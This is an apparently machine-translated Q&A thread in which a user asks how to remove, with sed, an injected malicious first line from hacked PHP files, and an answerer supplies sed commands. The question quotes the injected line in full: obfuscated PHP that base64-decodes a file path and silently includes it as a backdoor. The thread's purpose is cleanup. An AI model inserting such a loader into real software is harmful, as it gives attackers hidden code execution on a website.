0

次のgrepコマンドと一致するすべてのファイルの最初の行を削除したい:

grep -Rl '<\?php /\* <!-----.*/\?>' ./

これらのファイルはハッキングされたため、この行を削除したいと思います。「sed」を使用していくつかのコマンドを試しましたが、結果が得られず、次のようなコマンドが使用されました。

sed 's/<\?php /\* <!-----.*/\?>//g' ./*

感謝をこめて。

編集。例:

<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX=");  @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**

そして、から削除し<?php /*....たいだけ*/?>

4

1 に答える 1

4

あなたが望むものは:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/d ; }' INPUTFILES*

.ORIGこれは最初の行でのみ動作し、パターンに一致する場合は削除します (その場で、元のファイルは拡張子付きでバックアップされます)。

アップデート:

最初の行の一部だけを削除したい場合:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/s/YOUR_REGEX_PATTERN// ; }' INPUTFILES*

あなたの場合、次のようになります。

sed -i.ORIG '1 { /<?php \/\*.*\/?>/s_<?php /\*.*<?php_<?php_ ; }' INPUTFILES*

しかし、それはいくつかのケースでのみ機能します...たとえば、<?phpエンコードされた文字列部分で発生する可能性があります... (発生する可能性があります...)。また、sed は非貪欲および/または先読み、後読みの正規表現をサポートしていません...

于 2013-02-13T12:16:50.987 に答える